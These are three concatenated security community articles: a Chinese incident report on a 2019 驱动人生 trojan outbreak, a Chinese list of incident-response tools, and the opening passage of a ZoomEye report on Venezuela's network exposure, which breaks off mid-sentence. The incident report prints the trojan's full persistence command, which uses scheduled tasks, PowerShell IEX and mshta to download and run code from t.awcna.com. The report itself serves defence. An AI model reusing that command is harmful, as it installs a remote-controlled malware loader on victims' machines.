本次总部通过威胁情报、蜜罐及流量分析系统，较好的进行了本次监控应急预警，也对后续的安全体系建设提供了宝贵的经验。
时间
|
事件
---|---
2019-12-02 4:46 |
黑客通过暴露在公网的远程桌面进入文件服务器10.164.1.8，并安装了木马服务（事后在服务器系统日志找到该安装记录）
2019-12-02 4:57 |
总部威胁情报系统收到第一个DNS告警：10.164.1.8 尝试访问驱动人生域名：t.awcna.com
与上一条日志匹配，可以认定10.164.1.8为第一个被攻击的源头
2019-12-02 5:01
|
木马继续进行横向渗透，总部威胁情报系统收到第二台终端告警：10.164.2.15 请求域名 t.awcna.com
2019-12-02 5:02
|
总部威胁情报系统收到第三台终端告警：10.164.2.116 请求域名 down.ackng.com
2019-12-02 5:19
|
总部威胁情报系统收到第四台终端告警：10.164.2.13 请求域名 down.ackng.com
2019-12-02 5:27
|
总部威胁情报系统收到第五台终端告警：10.164.2.56 请求域名 t.awcna.com
2019-12-02 5:28
|
总部威胁情报系统收到第六台终端告警：10.164.2.91 请求域名 t.awcna.com
…………上述攻击防火墙和杀毒软件均未能有效防御
2019-12-02 6:48 |
总部蜜罐系统收到来自10.164.2.15的利用永恒之蓝445端口的漏洞攻击，说明木马已经开始全网扫描
2019-12-02 6:50 |
总部蜜罐系统收到来自10.164.2.33的利用远程桌面3389端口以及Sql Server
的漏洞攻击，说明木马已经开始尝试攻击总部数据中心的服务器及数据库
…………上班之后上海公司终端逐步开机，感染面积加大
2019-12-02 9:00 |
总部人员上班之后发现告警，初步判断为信息安全事件，在信息化管理员职能线进行通报预警
2019-12-02 9:30 |
经过多方面判断之后，提升预警级别，将18台电脑中毒IP和相关信息，通过邮件发送给上海公司人事行政部负责人，并抄送总经理，要求尽快响应找到终端
2019-12-02 10:30 |
上海公司管理员找到多台终端，通过防病毒软件扫描均无法查杀
2019-12-02 11:00 |
紧急联系防病毒厂家，厂家协调上海办事处人员到现场处置，承诺一个小时到位
2019-12-02 12:00 |
厂家人员到位之后，配合信息化管理员进行终端查杀，并联系研发后台定位
2019-12-02 下午 |
厂家人员出具处置手册，按照处置手册通过专杀工具进行一一查杀
…………由于网络内大量终端中毒，出现杀毒后又重复被感染现象
2019-12-02 晚上 |
待视频会议结束之后，晚上9点将上海公司断网，挨个逐台进行专杀工具处理，到晚上11点之后完成30台左右终端处置，由于财务等楼层关门，留待第二天处理
2019-12-03 01：00 |
防病毒厂家反馈，需要将杀毒软件版本从6.3.2.8000升级到6.3.2.8300，可以强制杀掉病毒的周期任务
2019-12-03 09：00-12：00 |
总部进行监控，发现的终端交给当地管理员进行拔掉网线断网，同时配合厂家工程师进行查杀
2019-12-03 12：00 |
上海公司杀毒软件版本完成从6.3.2.8000到6.3.2.8300的升级
2019-12-03 下午 |
升级后的版本查杀效果部分还是不理想，需要手工再次用专杀工具查杀
2019-12-03 晚上9点 |
基本完成该病毒的抑制，再次查杀26台左右，网络内未发现类似告警，防火墙上将文件服务器的端口映射取消
| |
### 2\. 相关处置过程截图
经10.164.1.8 文件服务器日志分析，发现12月2日 4点46分木马服务被安装
2019-12-02 4:57总部威胁情报系统收到第一个DNS告警：10.164.1.8 尝试访问驱动人生域名：t.awcna.com
与上一条日志吻合和匹配
2019-12-02 6:48
总部蜜罐系统收到来自10.164.2.15的利用永恒之蓝445端口的漏洞攻击，说明木马已经开始全网扫描，并开始尝试攻击总部数据中心的服务器及数据库。
木马服务示例: BCQWCTRQORNYUISBFDKU（名称会随机生成）
服务文件名: %COMSPEC% /C “netsh.exe firewall add portopening tcp 65529 SDNS&netsh
interface portproxy add v4tov4 listenport=65529 connectaddress=1.1.1.1
connectport=53&schtasks /create /ru system /sc MINUTE /mo 10 /tn Rtsa /tr
“powershell -nop -ep bypass -c ‘IEX(New-Object
System.Net.WebClient).DownloadString(\”http://t.awcna.com/ipc.jsp?h\”)'” /F &
echo %%path%%|findstr /i powershell>nul || (setx path
“%path%;c:windowssystem32WindowsPowershellv1.0” /m) &schtasks /run /tn Rtsa &
ver|findstr “5.[0-9].[0-9][0-9]*” && (schtasks /create /ru system /sc MINUTE
/mo 60 /tn Rtas /tr “mshta
[http://t.awcna.com/p.html?_%%COMPUTERNAME%%](http://t.awcna.com/p.html?_%25%25COMPUTERNAME%25%25)“)”
木马服务为防止被删掉，每个小时重复执行下载指令
在总部防火墙上看到的感染终端对总部的3389端口扫描
## 第六部分、经验教训总结
由于终端的安全极大的影响了整个数据中心安全，多个网络安全事件及蠕虫均由终端感染导致，同时IOT设备的蠕虫也逐渐增多，需要加大安全整改力度，确保终端安全。
在此次事件中，我们进行了经验总结如下：
1、 好的实践经验
已经初步构建网络安全纵深防御体系,形成横向到边、纵向到底的立体防御框架。
* 在总部，已经上线了防火墙、DDOS防护设备、WAF等防护设备，同时也上线了流量分析回溯系统，并对接了威胁情报服务；为了有效监控恶意行为及未知的攻击，上线了蜜罐系统，与防火墙和WAF形成良好互补；
* 通过子公司网络规范,落实子公司边界安全防护体系，建成终端安全防御体系，完成全公司4000+终端防病毒软件部署；
* 对集团内网网络进行有效隔离，杜绝内网平坦化，禁止了高危端口445、1433、3389等访问；
* 专项行动:对地区公司进行终端安全扫描及加固；
* 日常监控和督办，在日常工作中，对地区公司感染僵尸、木马、蠕虫的终端进行通报并整改；
2、 存在的不足
本次也反映出，安全形势较为严峻，后续需要采取回头看的方式，常态化的检查终端安全状况，包括如下：
* 地区公司的信息安全防御体系还属于薄弱环节，仅仅依靠防火墙、防病毒的单一防护手段依然不够，还需要建立监控、预警和响应体系；
* 员工的信息安全意识还需要进一步加强，应结合网络安全形势与地区公司实际进行有针对性的信息安全培训，切实提高员工安全意识，保密密码安全、上网安全、邮件安全等知识普及；
* 地区公司的安全专项行动依然不够，需要进行常态化的安全扫描、安全加固工作；
* 监控和应急响应是安全必不可缺的一环，需要加强人员、资产投入，同时进行定期演练。
网络攻防、事件处置等是安全工作的一个基础安全工作，但是同时也是较大压力的一环，一旦安全风险无法控制，可能导致“满盘皆输”。安全运营建设既离不开人、财、物的投入和机制建设，更需要安全运营团队技术能力的提升。谨以此案例提供借鉴，以便有助于实现企业安全战略，更好地保障企业业务安全稳定运行。 | 社区文章 |
用于安全事件响应的工具与资源的列表,旨在帮助安全分析师与 [DFIR](http://www.acronymfinder.com/Digital-Forensics%2c-Incident-Response-\(DFIR).html) 团队
* [工具集](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E5%B7%A5%E5%85%B7%E9%9B%86)
* [书籍](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E4%B9%A6%E7%B1%8D)
* [社区](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E7%A4%BE%E5%8C%BA)
* [磁盘镜像创建工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E7%A3%81%E7%9B%98%E9%95%9C%E5%83%8F%E5%88%9B%E5%BB%BA%E5%B7%A5%E5%85%B7)
* [证据收集](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E8%AF%81%E6%8D%AE%E6%94%B6%E9%9B%86)
* [应急管理](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E5%BA%94%E6%80%A5%E7%AE%A1%E7%90%86)
* [Linux 发行版](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#Linux%E5%8F%91%E8%A1%8C%E7%89%88)
* [Linux 证据收集](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#Linux%E8%AF%81%E6%8D%AE%E6%94%B6%E9%9B%86)
* [日志分析工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E6%97%A5%E5%BF%97%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7)
* [内存分析工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E5%86%85%E5%AD%98%E5%88%86%E6%9E%90%E5%B7%A5%E5%85%B7)
* [内存镜像工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E5%86%85%E5%AD%98%E9%95%9C%E5%83%8F%E5%B7%A5%E5%85%B7)
* [OSX 证据收集](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#osx%E8%AF%81%E6%8D%AE%E6%94%B6%E9%9B%86)
* [其他工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E5%85%B6%E4%BB%96%E5%B7%A5%E5%85%B7)
* [Playbooks](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#playbooks)
* [进程 Dump 工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E8%BF%9B%E7%A8%8BDump%E5%B7%A5%E5%85%B7)
* [沙盒 / 逆向工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E6%B2%99%E7%9B%92/%E9%80%86%E5%90%91%E5%B7%A5%E5%85%B7)
* [时间线工具](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E6%97%B6%E9%97%B4%E7%BA%BF%E5%B7%A5%E5%85%B7)
* [视频](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#%E8%A7%86%E9%A2%91)
* [Windows 证据收集](https://github.com/meirwah/awesome-incident-response/blob/master/README_ch.md#Windows%E8%AF%81%E6%8D%AE%E6%94%B6%E9%9B%86)
## IR 工具收集
### 工具集
* [Belkasoft Evidence Center](https://belkasoft.com/ec) \- 该工具包通过分析硬件驱动、驱动镜像、内存转储、iOS、黑莓与安卓系统备份、UFED、JTAG 与 chip-off 转储来快速从多个源提取数字证据
* [CimSweep](https://github.com/PowerShellMafia/CimSweep) \- CimSweep 是一套基于 CIM/WMI 的工具,能够在所有版本的 Windows 上执行远程事件响应
* [CIRTkit](https://github.com/byt3smith/CIRTKit) \- CIRTKit 不仅是一个工具集合,更是一个框架,帮助在事件响应与取证调查过程中统一
* [Cyber Triage](http://www.cybertriage.com/) \- Cyber Triage 远程收集\分析终端数据,以帮助确定计算机是否被入侵.其专注易用性与自动化,采用无代理方法使公司在没有重大基础设施\没有取证专家团队的情况下做出响应,其结果用于决定是否应该被擦除或者进行进一步调查
* [Digital Forensics Framework](http://www.arxsys.fr/discover/) \- DFF 是一个建立在专用 API 之上的开源计算机取证框架,DFF 提出了一种替代目前老旧的数字取证解决方案,其设计简单\更加自动化,通过 DFF 接口可以帮助用户进行数字调查取证的主要步骤,专业与非专业人员都可以快速的进行数字取证并执行事件响应
* [Doorman](https://github.com/mwielgoszewski/doorman) \- Doorman 是一个 osquery 的管理平台,可以远程管理节点的 osquery 配置.它利用 osquery 的 TLS 配置\记录器\分布式读写等优势为管理员提供最小开销的管理
* [Envdb](https://github.com/mephux/envdb) \- Envdb 将你的生产\开发\云等环境变成数据库集群,你可以使用 osquery 作为基础搜索,它可以和集群中心节点包装 osquery 的查询过程
* [Falcon Orchestrator](https://github.com/CrowdStrike/falcon-orchestrator) \- Falcon Orchestrator 是由 CrowdStrike 提供的一个基于 Windows 可扩展的应用程序,提供工作流自动化、案例管理与安全应急响应等功能
* [FIDO](https://github.com/Netflix/Fido) \- Netflix 开发的 Fully Integrated Defense Operation (FIDO) 用于自动化评估\响应恶意软件入侵响应过程,FIDO 的主要目的是协助处理大量的手动工作来评估对安全堆栈的威胁与生成的大量警报
* [GRR Rapid Response](https://github.com/google/grr) \- GRR Rapid Response 是一个用来远程现场取证的应急响应框架，其带有一个可以管理客户端的 Python 编写的服务器
* [Kolide](https://github.com/mephux/kolide) \- Kolide 是一个无代理的 osquery Web 接口与远程 API 服务器,Kolide 作为 Envdb 替代品的设计理念就是极度便携(仅有一个可执行程序),在保持代码简单的情况下保持性能
* [Limacharlie](https://github.com/refractionpoint/limacharlie) \- 一个终端安全平台,它本身是一个小项目的集合,并提供了一个跨平台的低级环境,你可以管理并推送附加功能进入内存给程序扩展功能
* [MIG](http://mig.mozilla.org/) \- Mozilla Investigator (MIG) 是一个在远程终端执行调查的平台,它可以在大量系统中并行获取数据,从而加速事故调查与保证日常业务安全
* [MozDef](https://github.com/mozilla/MozDef) \- Mozilla Defense Platform (MozDef) 旨在帮助安全事件处理自动化,并促进事件的实时处理
* [nightHawk](https://github.com/biggiesmallsAG/nightHawkResponse) \- nightHawk Response Platform 是一个以 ElasticSearch 为后台的异步取证数据呈现的应用程序,设计与 Redline 配合调查
* [Open Computer Forensics Architecture](http://sourceforge.net/projects/ocfa/) \- Open Computer Forensics Architecture (OCFA) 是另一个分布式开源计算机取证框架,这个框架建立在 Linux 平台上,并使用 postgreSQL 数据库来存储数据
* [Osquery](https://osquery.io/) \- osquery 可以找到 Linux 与 OSX 基础设施的问题,无论你是要入侵检测还是基础架构可靠性检查 osquery 都能够帮助你提高公司内部的安全组织能力, _incident-response pack_ 可以帮助你进行检测\响应活动
* [Redline](https://www.fireeye.com/services/freeware/redline.html) \- 为用户提供主机调查工具，通过内存与文件分析来找到恶意行为的活动迹象，包括对威胁评估配置文件的开发
* [The Sleuth Kit & Autopsy](http://www.sleuthkit.org/) \- Sleuth Kit 是基于 Unix 和 Windows 的工具，可以帮助计算机取证分析，其中包含各种协助取证的工具，比如分析磁盘镜像、文件系统深度分析等
* [TheHive](https://thehive-project.org/) \- TheHive 是一个可扩展的三个一开源解决方案，旨在让 SOC、CSIRT、CERT 或其他任何信息安全从业人员方便的进行安全事件调查
* [X-Ways Forensics](http://www.x-ways.net/forensics/) \- X-Ways 是一个用于磁盘克隆、镜像的工具，可以查找已经删除的文件并进行磁盘分析
* [Zentral](https://github.com/zentralopensource/zentral) \- 与 osquery 强大的端点清单保护能力相结合，通知与行动都灵活的框架，可以快速对 OS X 与 Linux 客户机上的更改做出识别与响应
### 书籍
* [Dfir intro](http://sroberts.github.io/2016/01/11/introduction-to-dfir-the-beginning/) \- 作者:Scott J. Roberts
* [The Practice of Network Security Monitoring: Understanding Incident Detection and Response](http://www.amazon.com/gp/product/1593275099) \- 作者:Richard Bejtlich
### 社区
* [Sans DFIR mailing list](https://lists.sans.org/mailman/listinfo/dfir) \- Mailing list by SANS for DFIR
* [Slack DFIR channel](https://dfircommunity.slack.com/) \- Slack DFIR Communitiy channel - [Signup here](https://rishi28.typeform.com/to/sTbTI8)
### 磁盘镜像创建工具
* [AccessData FTK Imager](http://accessdata.com/product-download/?/support/adownloads#FTKImager) \- AccessData FTK Imager 是一个从任何类型的磁盘中预览可恢复数据的取证工具,FTK Imager 可以在 32\64 位系统上实时采集内存与页面文件
* [GetData Forensic Imager](http://www.forensicimager.com/) \- GetData Forensic Imager 是一个基于 Windows 程序,将常见的文件格式进行获取\转换\验证取证
* [Guymager](http://guymager.sourceforge.net/) \- Guymager 是一个用于 Linux 上媒体采集的免费镜像取证器
* [Magnet ACQUIRE](https://www.magnetforensics.com/magnet-acquire/) \- Magnet Forensics 开发的 ACQUIRE 可以在不同类型的磁盘上执行取证,包括 Windows\Linux\OS X 与移动操作系统
### 证据收集
* [bulk_extractor](https://github.com/simsong/bulk_extractor) \- bulk_extractor 是一个计算机取证工具，可以扫描磁盘映像、文件、文件目录，并在不解析文件系统或文件系统结构的情况下提取有用的信息，由于其忽略了文件系统结构，程序在速度和深入程度上都有了很大的提高
* [Cold Disk Quick Response](https://github.com/rough007/CDQR) \- 使用精简的解析器列表来快速分析取证镜像文件(dd, E01, .vmdk, etc)并输出报告
* [ir-rescue](https://github.com/diogo-fernan/ir-rescue) \- _ir-rescue_ 是一个 Windows 批处理脚本与一个 Unix Bash 脚本,用于在事件响应期在主机全面收集证据
* [Live Response Collection](https://www.brimorlabs.com/tools/) \- BriMor 开发的 Live Response collection 是一个用于从各种操作系统中收集易失性数据的自动化工具
### 应急管理
* [FIR](https://github.com/certsocietegenerale/FIR/) \- Fast Incident Response (FIR) 是一个网络安全应急管理平台，在设计时考虑了敏捷性与速度。其可以轻松创建、跟踪、报告网络安全应急事件并用于 CSIRT、CERT 与 SOC 等人员
* [RTIR](https://www.bestpractical.com/rtir/) \- Request Tracker for Incident Response (RTIR) 对于安全团队来说是首要的开源应急处理系统,其与世界各地的十多个 CERT 与 CSIRT 合作,帮助处理不断增加的事件报告,RTIR 包含 Request Tracker 的全部功能
* [SCOT](http://getscot.sandia.gov/) \- Sandia Cyber Omni Tracker (SCOT) 是一个应急响应协作与知识获取工具,为事件响应的过程在不给用户带来负担的情况下增加价值
* [threat_note](https://github.com/defpoint/threat_note) \- 一个轻量级的调查笔记，允许安全研究人员注册、检索他们需要的 IOC 数据
### Linux 发行版
* [ADIA](https://forensics.cert.org/#ADIA) \- Appliance for Digital Investigation and Analysis (ADIA) 是一个基于 VMware 的应用程序,用于进行数字取证.其完全由公开软件构建,包含的工具有 Autopsy\Sleuth Kit\Digital Forensics Framework\log2timeline\Xplico\Wireshark 大多数系统维护使用 Webmin.可在各种系统下进行使用
* [CAINE](http://www.caine-live.net/index.html) \- Computer Aided Investigative Environment (CAINE) 包含许多帮助调查人员进行分析的工具,包括取证工具
* [DEFT](http://www.deftlinux.net/) \- Digital Evidence & Forensics Toolkit (DEFT) 是一个用于计算机取证的 Linux 发行版,它与 Windows 上的 Digital Advanced Response Toolkit (DART) 捆绑在一起.DEFT 的轻量版被成为 DEFT Zero
* [NST - Network Security Toolkit](https://sourceforge.net/projects/nst/files/latest/download?source=files) \- 包括大量的优秀开源网络安全应用程序的 Linux 发行版
* [PALADIN](https://sumuri.com/software/paladin/) \- PALADIN 是一个附带许多开源取证工具的改 Linux 发行版,用于在法庭上以正确的方式执行取证任务
* [Security Onion](https://github.com/Security-Onion-Solutions/security-onion) \- Security Onion 是一个特殊的 Linux 发行版,旨在利用高级的分析工具进行网络安全监控
* [SIFT Workstation](http://digital-forensics.sans.org/community/downloads) \- SANS Investigative Forensic Toolkit (SIFT) 使用优秀开源工具以实现高级事件响应与入侵深度数字取证,这些功能免费提供,并且经常更新
### Linux 证据收集
* [FastIR Collector Linux](https://github.com/SekoiaLab/Fastir_Collector_Linux) \- FastIR 在 Linux 系统上收集不同的信息并将结果存入 CSV 文件
### 日志分析工具
* [Lorg](https://github.com/jensvoid/lorg) \- 一个用 HTTPD 日志进行高级安全分析与取证的工具
### 内存分析工具
* [Evolve](https://github.com/JamesHabben/evolve) \- Volatility 内存取证框架的 Web 界面
* [inVtero.net](https://github.com/ShaneK2/inVtero.net) \- 支持 hypervisor 的 Windows x64 高级内存分析
* [KnTList](http://www.gmgsystemsinc.com/knttools/) \- 计算机内存分析工具
* [LiME](https://github.com/504ensicsLabs/LiME) \- LiME 是 Loadable Kernel Module (LKM),可以从 Linux 以及基于 Linux 的设备采集易失性内存数据
* [Memoryze](https://www.fireeye.com/services/freeware/memoryze.html) \- 由 Mandiant 开发的 Memoryze 是一个免费的内存取证软件,可以帮助应急响应人员在内存中定位恶意部位, Memoryze 也可以分析内存镜像或者装成带有许多分析插件的系统
* [Memoryze for Mac](https://www.fireeye.com/services/freeware/memoryze-for-the-mac.html) \- Memoryze for Mac 是 Memoryze 但仅限于 Mac,且功能较少
* [Rekall](http://www.rekall-forensic.com/) \- 用于从 RAM 中提取样本的开源工具
* [Responder PRO](http://www.countertack.com/responder-pro) \- Responder PRO 是一个工业级的物理内存及自动化恶意软件分析解决方案
* [Volatility](https://github.com/volatilityfoundation/volatility) \- 高级内存取证框架
* [VolatilityBot](https://github.com/mkorman90/VolatilityBot) \- VolatilityBot 是一个自动化工具,帮助研究员减少在二进制程序提取解析阶段的手动任务,或者帮助研究人员进行内存分析调查的第一步
* [WindowsSCOPE](http://www.windowsscope.com/index.php?page=shop.product_details&flypage=flypage.tpl&product_id=35&category_id=3&option=com_virtuemart) \- 一个用来分析易失性内存的取证与逆向工程工具,被用于对恶意软件进行逆向分析,提供了分析 Windows 内核\驱动程序\DLL\虚拟与物理内存的功能
### 内存镜像工具
* [Belkasoft Live RAM Capturer](http://belkasoft.com/ram-capturer) \- 轻量级取证工具,即使有反调试\反转储的系统保护下也可以方便地提取全部易失性内存的内容
* [Linux Memory Grabber](https://github.com/halpomeranz/lmg/) \- 用于 dump Linux 内存并创建 Volatility 配置文件的脚本
* [Magnet RAM Capture](https://www.magnetforensics.com/free-tool-magnet-ram-capture/) \- Magnet RAM Capture 是一个免费的镜像工具,可以捕获可疑计算机中的物理内存,支持最新版的 Windows
* [OSForensics](http://www.osforensics.com/) \- OSForensics 可以获取 32/64 位系统的实时内存,可以将每个独立进程的内存空间 dump 下来
### OSX 证据收集
* [Knockknock](https://github.com/synack/knockknock) \- 显示那些在 OSX 上被设置为自动执行的那些脚本、命令、程序等
* [OSX Auditor](https://github.com/jipegit/OSXAuditor) \- OSX Auditor 是一个面向 Mac OS X 的免费计算机取证工具
* [OSX Collector](https://github.com/yelp/osxcollector) \- OSX Auditor 的实时响应版
### 其他工具
* [Cortex](https://thehive-project.org/) \- Cortex 可以通过 Web 界面逐个或批量对 IP 地址\邮件地址\URL\域名\文件哈希的分析,还可以使用 REST API 来自动执行这些操作
* [Crits](https://crits.github.io/) \- 一个将分析引擎与网络威胁数据库相结合且带有 Web 界面的工具
* [Fenrir](https://github.com/Neo23x0/Fenrir) \- Fenrir 是一个简单的 IOC 扫描器,可以在纯 bash 中扫描任意 Linux/Unix/OSX 系统,由 THOR 与 LOKI 的开发者创作
* [Fileintel](https://github.com/keithjjones/fileintel) \- 为每个文件哈希值提供情报
* [Hindsight](https://github.com/obsidianforensics/hindsight) \- Google Chrome/Chromium 的互联网
* [Hostintel](https://github.com/keithjjones/hostintel) \- 为每个主机提供情报
* [Kansa](https://github.com/davehull/Kansa/) \- Kansa 是一个 PowerShell 的模块化应急响应框架
* [rastrea2r](https://github.com/aboutsecurity/rastrea2r) \- 使用 YARA 在 Windows、Linux 与 OS X 上扫描硬盘或内存
* [RaQet](https://raqet.github.io/) \- RaQet 是一个非常规的远程采集与分类工具,允许对那些为取证构建的操作系统进行远端计算机的遴选
* [Stalk](https://www.percona.com/doc/percona-toolkit/2.2/pt-stalk.html) \- 收集关于 MySQL 的取证数据
* [SearchGiant](https://github.com/jadacyrus/searchgiant_cli) \- 从云服务中获取取证数据的命令行程序
* [Stenographer](https://github.com/google/stenographer) \- Stenographer 是一个数据包捕获解决方案,旨在快速将全部数据包转储到磁盘中,然后提供对这些数据包的快速访问.它存储尽可能多的历史记录并且管理磁盘的使用情况,在磁盘受限被触发时执行既定策略,非常适合在事件发生前与发生中捕获流量,而不是显式存储所有流量
* [traceroute-circl](https://github.com/CIRCL/traceroute-circl) \- 由 Computer Emergency Responce Center Luxembourg 开发的 traceroute-circl 是一个增强型的 traceroute 来帮助 CSIRT\CERT 的工作人员,通常 CSIRT 团队必须根据收到的 IP 地址处理事件
* [X-Ray 2.0](https://www.raymond.cc/blog/xray/) \- 一个用来向反病毒厂商提供样本的 Windows 实用工具(几乎不再维护)
### Playbooks
* [Demisto Playbooks Collection](https://www.demisto.com/category/playbooks/) \- Playbook 收集
* [IR Workflow Gallery](https://www.incidentresponse.com/playbooks/) \- 不同的通用事件响应工作流程,例如恶意软件爆发\数据窃取\未经授权的访问等,每个工作流程都有七个步骤:准备\检测\分析\遏制\根除\恢复\事后处理
* [PagerDuty Incident Response Documentation](https://response.pagerduty.com/) \- 描述 PagerDuty 应急响应过程的文档,不仅提供了关于事件准备的信息,还提供了在此前与之后要做什么工作,源在 [GitHub](https://github.com/PagerDuty/incident-response-docs) 上
### 进程 Dump 工具
* [Microsoft User Mode Process Dumper](http://www.microsoft.com/en-us/download/details.aspx?id=4060) \- 用户模式下的进程 dump 工具,可以 dump 任意正在运行的 Win32 进程内存映像
* [PMDump](http://www.ntsecurity.nu/toolbox/pmdump/) \- PMDump 是一个可以在不停止进程的情况下将进程的内存内容 dump 到文件中的工具
### 沙盒／逆向工具
* [Cuckoo](https://github.com/cuckoobox) \- 开源沙盒工具
* [Cuckoo-modified](https://github.com/spender-sandbox/cuckoo-modified) \- 社区基于 Cuckoo 的大修版
* [Cuckoo-modified-api](https://github.com/keithjjones/cuckoo-modified-api) \- 一个用来控制 Cuckoo 沙盒设置的 Python 库
* [Hybrid-Analysis](https://www.hybrid-analysis.com/) \- Hybrid-Analysis 是一个由 Payload Security 提供的免费在线沙盒
* [Malwr](https://malwr.com/) \- Malwr 是由 Cuckoo 沙盒提供支持的一个免费在线恶意软件分析服务
* [Mastiff](https://github.com/KoreLogicSecurity/mastiff) \- MASTIFF 是一个静态分析框架,可以自动化的从多种文件格式中提取关键特征
* [Viper](https://github.com/viper-framework/viper) \- Viper 是一个基于 Python 的二进制程序分析及管理框架,支持 Cuckoo 与 YARA
* [Virustotal](https://www.virustotal.com/) \- Virustotal, Google 的子公司,一个免费在线分析文件/URL的厂商,可以分析病毒\蠕虫\木马以及其他类型被反病毒引擎或网站扫描器识别的恶意内容
* [Visualize_Logs](https://github.com/keithjjones/visualize_logs) \- Cuckoo、Procmon等日志的开源可视化库
### 时间线工具
* [Highlighter](https://www.fireeye.com/services/freeware/highlighter.html) \- Fire/Mandiant 开发的免费工具,用来分析日志/文本文件,可以对某些关键字或短语进行高亮显示,有助于时间线的整理
* [Plaso](https://github.com/log2timeline/plaso) \- 一个基于 Python 用于 log2timeline 的后端引擎
* [Timesketch](https://github.com/google/timesketch) \- 协作取证时间线分析的开源工具
### 视频
* [Demisto IR video resources](https://www.demisto.com/category/videos/) \- 应急响应与取证分析的视频资源
* [The Future of Incident Response](https://www.youtube.com/watch?v=bDcx4UNpKNc) \- Bruce Schneier 在 OWASP AppSecUSA 2015 上的分享
### Windows 证据收集
* [AChoir](https://github.com/OMENScan/AChoir) \- Achoir 是一个将对 Windows 的实时采集工具脚本化变得更标准与简单的框架
* [Binaryforay](http://binaryforay.blogspot.co.il/p/software.html) \- 一个 Windows 取证的免费工具列表 (<http://binaryforay.blogspot.co.il/>)
* [Crowd Response](http://www.crowdstrike.com/community-tools/) \- 由 CrowdStrike 开发的 Crowd Response 是一个轻量级 Windows 终端应用,旨在收集用于应急响应与安全操作的系统信息,其包含许多模块与输出格式
* [FastIR Collector](https://github.com/SekoiaLab/Fastir_Collector) \- FastIR Collector 在 Windows 系统中实时收集各种信息并将结果记录在 CSV 文件中,通过对这些信息的分析,我们可以发现早期的入侵痕迹
* [FECT](https://github.com/jipegit/FECT) \- Fast Evidence Collector Toolkit (FECT) 是一个轻量级的应急响应工具集,用于在可疑的 Windows 计算机上取证,它可以让非技术调查人员更专业的进行应急处理
* [Fibratus](https://github.com/rabbitstack/fibratus) \- 利用与跟踪 Windows 内核的工具
* [IOC Finder](https://www.fireeye.com/services/freeware/ioc-finder.html) \- IOC Finder 是由 Mandiant 开发的免费工具,用来收集主机数据并报告存在危险的 IOC
* [Fidelis ThreatScanner](https://www.fidelissecurity.com/resources/fidelis-threatscanner) \- Fidelis ThreatScanner 是一个由 Fidelis Cybersecurity 开发的免费工具,使用 OpenIOC 和 YARA 来报告终端设备的安全状态,ThreatScanner 衡量系统的运行状态后会出具匹配情况的报告,仅限 Windows
* [LOKI](https://github.com/Neo23x0/Loki) \- Loki 是一个使用 YARA 与其他 IOC 对终端进行扫描的免费 IR 扫描器
* [PowerForensics](https://github.com/Invoke-IR/PowerForensics) \- PowerShell 开发的实时硬盘取证框架
* [PSRecon](https://github.com/gfoss/PSRecon/) \- PSRecon 使用 PowerShell 在远程 Windows 主机上提取/整理数据,并将数据发送到安全团队,数据可以通过邮件来传送数据或者在本地留存
* [RegRipper](https://code.google.com/p/regripper/wiki/RegRipper) \- Regripper 是用 Perl 编写的开源工具,可以从注册表中提取/解析数据(键\值\数据)提供分析
* [TRIAGE-IR](https://code.google.com/p/triage-ir/) \- Triage-IR 是一个 Windows 下的 IR 收集工具
<https://github.com/sindresorhus/awesome> | 社区文章 |
**Author: Knownsec 404 Team
ZoomEye Topic: <https://www.zoomeye.org/topic?id=ZoomEye-series-report-VE-en>
Chinese Version: <https://paper.seebug.org/869/>**
### 1\. Introduction
Venezuela is a tropical country located in the north of South America and the
most important oil producing country in South America. According to the 2012
World Energy Statistics Report, Venezuela has proven oil reserves of 296.5
billion barrels, accounting for 18% of the world. Oil exports have also become
the main economic pillar of the country.
Due to the influence of various factors such as the country's policies and the
international situation, the country's oil production is declining in recent
years, and the domestic situation is turbulent. On the evening of March 7th,
2019, a large-scale blackout occurred in Venezuela, and the country was in a
dark state.
This paper will analyze and judge the network construction situation and power
outage events in the country from the perspective of network space mapping.
### 2\. Venezuela Network Construction
As of March 15th, 2019, ZoomEye has included a total of 3,067,202 banner
information for 1,637,553 IP in Venezuela.
#### 2.1 Device Type Statistics
The identified device components account for approximately 2/3 of the
country's total equipment components, with the ZTE ZXV10 W300 router's web
management interface accounting for approximately 1/10 of the total device
components.
It is worth mentioning that a total of 306,444 ZTE ZXV10 W300 routers and
299,250 Dropbear sshd services are identified, and the IP addresses of the ZTE
ZXV10 W300 router which has a Dropbear sshd service are up to 244,111.
Therefore, a judgment can be made that the router may be widely used as a home
router. This means that once the vulnerable router is attacked, it can lead to
a wide range of home networks paralysis in Venezuela.
#### 2.2 Open Port Statistics
The port distribution is as follows:
According to the known conclusions of 2.1, the banners which have been
identified in the country mainly belong to the ZTE ZXV10 W300 router. The 80,
443, 22, and 7547 ports account for a relatively high proportion of the
router.
It is worth noting that port 5357 appears in the tenth place, of which 62139
banners are recognized as Microsoft-HTTPAPI/2.0. After judging, these IPs
belong to Movilnet. According to its official website, Movilnet is a
subsidiary of Venezuela's state-owned telephone and Internet service provider
CANTV.
#### 2.3 ISP Statistics
According to the ISP (Internet Service Provider) statistics, the results are
as follows:
CANTV, Venezuela's state-owned telephone and Internet service provider, has an
absolute advantage, with 85% of IP owned by the company.
Note: CANTV is a national telephone and Internet service provider, which is
the largest telecommunications provider in Venezuela. After privatization in
1991, it was re-nationalized in 2007. Concerned about the routers belonging to
this ISP, most of them are ZTE ZXV10 W300, and a few of them are other brands,
